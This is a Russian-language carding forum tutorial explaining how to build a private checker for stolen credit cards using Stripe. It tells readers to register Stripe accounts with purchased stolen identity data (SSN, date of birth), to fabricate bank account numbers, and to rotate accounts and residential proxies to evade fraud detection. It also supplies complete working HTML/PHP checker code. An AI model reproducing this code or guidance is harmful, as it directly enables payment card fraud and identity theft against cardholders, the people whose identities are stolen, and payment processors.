СОБСТВЕННЫЙ CC-ЧЕКЕР С ПОМОЩЬЮ STRIPE: Полное руководство кардера

Professor

Professional
Messages
1,750
Reaction score
1,715
Points
113

📖 ВВЕДЕНИЕ: ПОЧЕМУ ЧЕКЕРЫ — ЭТО БОЛЬ​

Бро, чекер-сервисы сейчас в полном дерьме. Они дохнут как мухи — либо полностью уходят в офлайн, либо становятся настолько ненадёжными, что толку от них ноль. А те, что работают? Они либо медленные, либо выдают больше ложных срабатываний, чем реальных результатов. Неудивительно, что мой личный ящик забит одним и тем же вопросом: "Как построить собственный чекер?"

Что ж, я наконец разложу это по полочкам. Построение собственного чекера — сложная задача с множеством подходов, но мы разберём её шаг за шагом. Этот туториал — первый в серии, где мы рассмотрим различные методы, начиная с самого базового: валидация карт через API Stripe.

Сейчас ты работаешь с голым минимумом — валидацией Stripe, которая может проверять по одной карте за раз. В следующем туториале мы улучшим это с помощью массовой валидации, 3DS-валидации и исследований других мерчант-интеграций.

🔍 ЧАСТЬ 1: ПОЧЕМУ STRIPE?​

Если ты следил за моими постами, ты уже знаешь мою позицию: верификация Stripe — это плохо. Не потому что она "убивает" карты — технически это не так. Реальная проблема в том, что система Radar от Stripe заносит твои карты в чёрный список (generic_decline).

Каждая карта, которую ты прогоняешь через чекер Stripe, помечается как часть "card testing" атаки. И удачи использовать эту карту на любом сайте, работающем на Stripe, в будущем.

Но отчаянные времена требуют отчаянных мер. Может, ты посещаешь сайты, которые вообще не на Stripe, или тебе просто нужна быстрая проверка. Это всё ещё работает — просто понимай, во что ты ввязываешься.

1.1. Stripe API и Биннеры​

Это те же биннеры, которых мы критиковали ранее? Оказывается, это они и есть — те самые, что управляют этими "SK checker services". В основном ими управляют технически подкованные индийцы, которые додумались автоматизировать свою мусорную стратегию.

Они вручную генерируют и тестируют карты оптом, собирая публичные ключи Stripe с e-commerce сайтов. Тот же подход "обезьяны с печатной машинкой", только с более навороченными инструментами.

И не только Stripe они атакуют. Braintree, Square, любой платёжный процессор с публичными ключами, выставленными на сайтах, становится целью этих скриптов. Но сегодня мы сосредоточимся на Stripe, потому что он наиболее широко используется, и его API действительно приятно использовать, даже если эти клоуны злоупотребляют им.

1.2. Как работает верификация Stripe под капотом​

ЭтапЧто происходит
ТокенизацияДанные карты конвертируются в одноразовый токен
Создание платёжного методаЭтот токен становится "payment method"
Опции аутентификацииМожно просто привязать карту (бесплатно) или понести небольшую комиссию ($0.50-$1) для проверки средств

🛠️ ЧАСТЬ 2: ПОДГОТОВКА​

2.1. Собери свой арсенал​

КомпонентТребование
ПроксиПремиум US-прокси. Детекция скама Stripe мгновенно пометит дешёвые прокси. Резидентные — лучший выбор
Данные личностиНастоящие SSN + DOB. Фейковая информация — билет в один конец к закрытию аккаунта
Бизнес-фронтПроверь Flippa.com на маленький устоявшийся e-commerce сайт. Скопируй их бизнес-модель
Банковские данныеЛюбые легитимные routing и account numbers подойдут, так как мы не обрабатываем платежи. Главное — правильный формат

2.2. Настройка аккаунта Stripe​

Качественный fullz (SSN, DOB, адрес и т.д.) — Bender-Search мой текущий выбор. Их данные точные и дешёвые — 50 центов за сет. Хотя есть другие поставщики, качество Bender стабильно.

Пошаговая инструкция:
  1. Регистрация на stripe.com с email, к которому у тебя есть доступ
  2. Личная информация — используй имя и дату рождения из fullz. SSN должен совпадать точно
  3. Бизнес-детали:
    • Выбери "Unregistered" как тип бизнеса
    • Используй название и описание твоего e-commerce сайта
    • Выбери индустрию, соответствующую продуктам сайта
  4. Банковские данные:
    • Когда попросят банковские данные, выбери "Enter bank details manually" — иначе тебя перенаправят на Plaid, чего мы не хотим
    • Найди реальный routing number в банке твоего города проживания
    • Сгенерируй случайный 10-12-значный номер счёта
    • Используй то же имя, что и в личной информации
  5. После верификации возьми API-ключи из панели управления — они понадобятся для чекера

💻 ЧАСТЬ 3: НАСТРОЙКА ЧЕКЕРА​

3.1. Проблема с прямым API​

В прошлом ты мог просто использовать свой sk_live ключ и запустить Python-скрипт для выпуска токена и проверки карты. Сегодня Stripe не такой тупой — если ты попытаешься отправить сырые номера кредитных карт напрямую, ты получишь ошибку:
JSON:
{
"charge": null,
"code": null,
"decline_code": null,
"doc_url": null,
"message": "Sending credit card numbers directly to the Stripe API is generally unsafe. To continue processing use Stripe.js, the Stripe mobile bindings, or Stripe Elements.",
"param": null,
"payment_intent": null,
"payment_method": null,
"request_log_url": "https://dashboard.stripe.com/logs/req_21941209",
"setup_intent": null,
"source": null,
"type": "invalid_request_error"
}

Вместо прямого API-вызова теперь нужно использовать JavaScript-фронтенд Stripe для сбора и токенизации данных карты. Есть обходные пути — я расскажу о них подробнее в будущем туториале — но для этого базового подхода мы переключимся на простую PHP-серверную установку.

3.2. Что понадобится​

Помести следующие файлы в одну папку:
  • index.html
  • validate.php
  • composer.json

Установка:
  1. Запусти composer install для установки PHP-модуля Stripe
  2. Размести папку локально (используя XAMPP, WAMP или любой простой PHP-сервер)
  3. Открой index.html в браузере. Он попросит sk_live и pk_live ключи, затем отобразит защищённое платёжное поле Stripe
  4. Введи данные карты; после отправки бэкенд (validate.php) использует payment intent для проверки легитимности карты и возвращает ответ

3.3. Полный код​

index.html​

HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Card Validator</title>
<script src="https://js.stripe.com/v3/"></script>
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
padding: 20px;
background: #f0f0f0;
}
.card-validator {
max-width: 500px;
margin: 0 auto;
background: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
h2 {
color: #32325d;
text-align: center;
margin-bottom: 24px;
}
.form-group {
margin-bottom: 16px;
}
label {
display: block;
margin-bottom: 8px;
color: #32325d;
}
input {
width: 100%;
padding: 8px 12px;
border: 1px solid #e4e4e4;
border-radius: 4px;
font-size: 16px;
margin-bottom: 16px;
}
.card-element {
padding: 12px;
border: 1px solid #e4e4e4;
border-radius: 4px;
margin-bottom: 16px;
}
button {
background: #5469d4;
color: white;
padding: 12px 24px;
border: none;
border-radius: 4px;
font-size: 16px;
cursor: pointer;
width: 100%;
}
button:disabled {
background: #93a3e8;
cursor: not-allowed;
}
.status {
margin-top: 16px;
padding: 12px;
border-radius: 4px;
text-align: center;
}
.error {
background: #fee;
color: #ff0000;
}
.success {
background: #e8ffe8;
color: #008000;
}
</style>
</head>
<body>
<div class="card-validator">
<h2>Card Validator</h2>
<div id="setup-form">
<div class="form-group">
<label>Secret Key (sk_live):</label>
<input type="text" id="sk_live" required>
</div>
<div class="form-group">
<label>Public Key (pk_live):</label>
<input type="text" id="pk_live" required>
</div>
<button onclick="setupStripe()">Continue</button>
</div>

<div id="card-form" style="display: none;">
<form id="payment-form">
<div class="form-group">
<label>Card Details:</label>
<div id="card-element" class="card-element"></div>
</div>
<button type="submit" id="submit-button">Validate Card</button>
</form>
<div id="status" class="status" style="display: none;"></div>
</div>
</div>

<script>
let stripe;
let elements;
let card;
let sk_live;

function setupStripe() {
const pk_live = document.getElementById('pk_live').value;
sk_live = document.getElementById('sk_live').value;

if (!pk_live || !sk_live) {
alert('Please enter both keys');
return;
}

stripe = Stripe(pk_live);
elements = stripe.elements();
card = elements.create('card');

document.getElementById('setup-form').style.display = 'none';
document.getElementById('card-form').style.display = 'block';

card.mount('#card-element');
}

document.getElementById('payment-form').addEventListener('submit', async function(e) {
e.preventDefault();

const submitButton = document.getElementById('submit-button');
const statusDiv = document.getElementById('status');

submitButton.disabled = true;
submitButton.textContent = 'Processing...';
statusDiv.style.display = 'block';
statusDiv.textContent = 'Validating card...';
statusDiv.className = 'status';

try {
const { paymentMethod, error } = await stripe.createPaymentMethod({
type: 'card',
card: card,
});

if (error) {
throw error;
}

const response = await fetch('validate.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
payment_method_id: paymentMethod.id,
secret_key: sk_live,
}),
});

const result = await response.json();

if (result.error) {
throw new Error(result.error);
}

if (result.requires_action) {
statusDiv.textContent = 'Additional authentication required...';
const { error: confirmError } = await stripe.confirmCardSetup(
result.client_secret
);
if (confirmError) {
throw confirmError;
}
statusDiv.textContent = 'Card is Live! ✅';
statusDiv.className = 'status success';
return;
}

let message = '';
switch (result.status) {
case 'succeeded':
message = 'Card is Live! ✅';
break;
case 'processing':
message = 'Card validation is still processing...';
break;
case 'requires_action':
message = 'Card requires additional verification.';
break;
default:
message = `Card validation status: ${result.status}`;
}

statusDiv.textContent = message;
statusDiv.className = result.success ? 'status success' : 'status error';
} catch (error) {
statusDiv.textContent = `❌ Declined: ${error.message}`;
statusDiv.className = 'status error';
} finally {
submitButton.disabled = false;
submitButton.textContent = 'Validate Card';
}
});
</script>
</body>
</html>

validate.php​

PHP:
<?php

header('Access-Control-Allow-Origin: *');
header('Content-Type: application/json');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(200);
exit();
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
echo json_encode(['error' => 'Method not allowed']);
exit();
}

require_once '../vendor/autoload.php';

function isValidJson($string) {
json_decode($string);
return json_last_error() === JSON_ERROR_NONE;
}

$rawInput = file_get_contents('php://input');
if (!isValidJson($rawInput)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid JSON input']);
exit();
}

$input = json_decode($rawInput, true);
$payment_method_id = $input['payment_method_id'] ?? null;
$secret_key = $input['secret_key'] ?? null;

if (!$payment_method_id || !$secret_key) {
http_response_code(400);
echo json_encode(['error' => 'Missing required parameters']);
exit();
}

try {
\Stripe\Stripe::setApiKey($secret_key);

$setup_intent = \Stripe\SetupIntent::create([
'payment_method' => $payment_method_id,
'confirm' => true,
'usage' => 'off_session',
'return_url' => 'https://carder.pw',
'automatic_payment_methods' => [
'enabled' => true,
'allow_redirects' => 'never'
]
]);

$status = $setup_intent->status;
$success = in_array($status, ['succeeded', 'requires_action', 'processing']);

if ($status === 'requires_action' || $status === 'requires_source_action') {
echo json_encode([
'success' => false,
'status' => $status,
'setup_intent' => $setup_intent->id,
'client_secret' => $setup_intent->client_secret,
'requires_action' => true
]);
exit();
}

echo json_encode([
'success' => $success,
'status' => $status,
'setup_intent' => $setup_intent->id
]);
} catch (\Exception $e) {
http_response_code(400);
echo json_encode([
'error' => $e->getMessage(),
'type' => get_class($e)
]);
}

composer.json​

JSON:
{
"require": {
"stripe/stripe-php": "^13.0"
}
}

⚠️ ЧАСТЬ 4: ВАЖНЫЕ МОМЕНТЫ​

4.1. Линковка vs Аутентификация​

Вся идея линковки и аутентификации проста:
МетодЧто делаетПлюсыМинусы
ЛинковкаСоздаёт платёжный метод, как заполнение данных картыБесплатно, меньше следовМеньше информации
АутентификацияПытается списать крошечную сумму ($0-1)Больше ясности, активна ли картаБольше следов, риск уничтожения

4.2. Управление аккаунтом​

Stripe безжалостен. В момент, когда ты начинаешь запускать паттерны, выглядящие подозрительно, они ударят по тормозам и уничтожат твой аккаунт.

Лучшая стратегия:
  • Ротируй между несколькими Stripe-аккаунтами
  • Используй разные IP-адреса для каждого
  • Держи количество верификаций карт на разумном уровне
  • Не будь идиотом, который думает, что запуск горы тестов на одном аккаунте — хорошая идея

4.3. Обработка ошибок​

Обработка ошибок — твоя спасательная верёвка. Научись парсить каждое сообщение об ошибке:
  • Иногда это значит, что карта мертва
  • Иногда это просто Stripe — упрямая сука
  • В любом случае, понимание этих сообщений означает, что ты можешь корректировать подход на лету

📊 ЧАСТЬ 5: СТРАТЕГИИ И ФИШКИ​

5.1. Стратегии​

СтратегияОписание
Ротация аккаунтовНе используй один Stripe-аккаунт для всего
Разные IPКаждый аккаунт — свой прокси
УмеренностьНе гони 10,000 карт через один аккаунт
Парсинг ошибокПонимай каждое сообщение
Малый стартНачни с малого, понимай механику

5.2. Фишки​

Фишка 1: Fullz качество
Bender-Search — 50 центов за сет, стабильное качество.

Фишка 2: Бизнес-фронт
Flippa.com для копирования бизнес-модели.

Фишка 3: Банковские данные
"Enter bank details manually" — избегай Plaid.

Фишка 4: Резидентные прокси
Дешёвые прокси = мгновенный флаг.

Фишка 5: Обработка 3DS
Скрипт обрабатывает requires_action автоматически.

🛡️ ЧАСТЬ 6: РИСКИ И ИХ МИНИМИЗАЦИЯ​

6.1. Риски​

РискВероятностьМинимизация
Блокировка StripeВысокаяРотация аккаунтов
Флаг картВысокаяНе используй на Stripe-сайтах
Блокировка проксиСредняяРезидентные прокси
Блокировка аккаунтаВысокаяКачественные fullz

6.2. OPSEC-правила​

  1. Ротируй Stripe-аккаунты
  2. Разные IP для каждого аккаунта
  3. Умеренное количество проверок
  4. Качественные fullz
  5. Резидентные прокси
  6. Парсинг ошибок

📋 ЧАСТЬ 7: ПОЛНЫЙ ЧЕК-ЛИСТ​

Перед началом:​

  • □ Премиум US-прокси (резидентные)
  • □ Качественный fullz (SSN + DOB)
  • □ Бизнес-фронт (Flippa.com)
  • □ Банковские данные (routing + account)
  • □ Email для регистрации

Настройка Stripe:​

  • □ Регистрация с email
  • □ Личная информация из fullz
  • □ Бизнес-детали (Unregistered)
  • □ Банковские данные (manual)
  • □ API-ключи получены

Настройка чекера:​

  • □ Файлы созданы (index.html, validate.php, composer.json)
  • □ Composer install выполнен
  • □ Сервер запущен
  • □ Тестовая проверка

После проверки:​

  • □ Результат записан
  • □ Аккаунт ротирован
  • □ Прокси сменён

💎 ЧАСТЬ 8: КЛЮЧЕВЫЕ ВЫВОДЫ​

Бро, это только начало нашей серии по созданию чекеров. Мы начали с версии с тренировочными колёсами — проверка через Stripe API.

Ключевые выводы:
  1. Stripe-верификация портит карты — Radar заносит их в чёрный список
  2. Нужен JavaScript-фронтенд — прямой API не работает
  3. PHP-сервер — простой подход — XAMPP/WAMP
  4. Ротация аккаунтов критична — Stripe безжалостен
  5. Обработка ошибок — спасение — парси каждое сообщение

В следующих туториалах мы погрузимся в реальное дело:
  • Построение собственных систем аутентификации
  • Массовые чекеры для разных платёжных процессоров
  • Создание собственного Telegram CC Checker бота
  • Чекеры, дающие полезные данные, а не просто "valid/invalid"

Помни: чекер хорош настолько, насколько хорош его оператор. Не будь идиотом, который прогоняет 10,000 карт через один Stripe-аккаунт и удивляется, почему его забанили. Начни с малого, понимай механику и масштабируй с умом.

Следи за следующим туториалом. Мы погрузимся в детали создания чекеров, которые заслуживают называться инструментами, а не игрушками.


Удачи, брат. Если что — пожалуйста не стесняйся и задавай любые вопросы по данной теме.
 
Top